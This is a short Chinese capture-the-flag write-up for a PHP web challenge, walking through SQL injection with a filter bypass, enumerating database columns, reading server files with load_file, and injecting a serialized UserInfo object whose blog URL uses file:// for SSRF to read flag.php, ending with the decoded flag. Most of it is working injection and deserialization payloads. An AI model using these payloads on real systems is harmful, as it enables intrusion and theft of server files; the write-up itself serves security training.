unserialize()
打开环境,没有任何提示,先试试基础功能,注册一个号,回到主页可以点进去看记录
?no=1%23
?no=1 order by 4%23
看看回显点,这里有过滤,过滤了union select
,绕过只用多敲一个空格就行,回显点在第二个
?no=0 union select 1,2,3,4%23
?no=0 union select 1,load_file('/var/www/html/index.php'),3,4%23
?no=0 union select 1,load_file('/var/www/html/flag.php'),3,4%23
在测试回显的时候,网页抛出错误了,是反序列化函数
?no=0 union select 1,2,3,4%23
?no=0/**/unIon/**/seLect/**/1,group_concat(column_name,'@'),3,4/**/from/**/information_schema.columns/**/where/**/table_name='users'%23
no@,username@,passwd@,data@,USER@,CURRENT_CONNECTIONS@,TOTAL_CONNECTIONS@
似乎age和blog是序列化存在data字段的,读取出来然后反序列化,查一下data
?no=0 union select 1,data,3,4 from fakebook.users limit 0,1%23
O:8:"UserInfo":3:{
s:4:"name";s:5:"admin";s:3:"age";i:1;s:4:"blog";s:19:"http://www.test.com";}
果然是这样的,那么应该有反序列化漏洞
又听说robots.txt有hint,发现网页的备份
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
发现可以用curl进行SSRF
至此可以确认,php应该是这样的流程:
这里对URL没有过滤,可控,尝试file伪协议SSRF读取flag.php
将传入的第四个参数换成反序列化串
?no=0 union select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:4:"test";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'%23
源码发现base64
PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tlMTdhZTczMy1hMDJlLTQzYWQtOWFjOS03NzUzNDYwMGU1ZTh9IjsNCmV4aXQoMCk7DQo=
解码得到flag
$flag = "flag{e17ae733-a02e-43ad-9ac9-77534600e5e8}";
exit(0);